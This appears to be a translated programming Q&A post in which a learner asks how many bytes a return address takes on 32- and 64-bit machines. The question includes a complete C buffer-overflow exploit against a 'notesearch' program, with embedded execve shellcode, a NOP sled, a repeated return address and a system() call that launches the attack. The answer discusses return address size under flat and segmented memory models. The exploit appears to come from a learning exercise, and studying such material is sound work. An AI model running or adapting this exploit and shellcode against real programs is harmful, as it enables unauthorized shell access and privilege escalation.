return 地址的大小是多少?

What is the size of a return address?

我知道这听起来有点菜鸟,但我在任何地方都找不到。 在 64 位机器上,一个 return 地址是多少字节? 32 位呢?

我问的原因是因为我正在学习缓冲区溢出攻击,我必须编写一个攻击。有一个程序在缓冲区中分配了 100 个字符,但不检查它是否溢出。我目前的程序是:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>


const char shellcode[] = 
"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";



int main(int argc, char *argv[]) {

    long int i, *ptr, ret, offset = 176;
    char *command, *buffer;

    command = (char *) malloc(200);
    memset(command, 0, 200); //Zero out the new memory

    strcpy(command, "./notesearch \'");
    buffer = command + strlen(command); // Set buffer at the end

    if(argc > 1) //Set offset
        offset = atoi(argv[1]);

    ret = ((long int) &i) - offset; //Set return address


    for(i=0; i <160; i+=8) //Fill buffer with return addres
        *((long int *)(buffer + i)) = ret;

    memset(buffer, 0x90, 60); //Build NOP sled
    memcpy(buffer+60, shellcode, sizeof(shellcode) -1);

    strcat(command, "\'");

    system(command); //Run Exploit
    free (command);
}

我想知道的原因是当我用 return 地址填充缓冲区时,我需要确保它的大小正确

这取决于您所说的“64 位机器”或“32 位机器”。

首先,您的问题被标记为 C。C 平台可以相当(或完全)独立于底层硬件来实现,这意味着它可以使用任何大小的 return 地址,而不管机器如何。

其次,如果 C 平台与底层硬件保持密切联系(通常是这种情况),那么在具有平面内存模型的平台上应该相当简单:64 位机器意味着 64 位 return 地址; 32位机器表示32位return地址。

另一方面,在具有分段内存的平台上,它可能取决于 compiler-provided run-time 内存模型。例如,在 16 位机器的 DOS 平台上 return 地址可以是 16 位或 32 位,具体取决于所选的内存模型。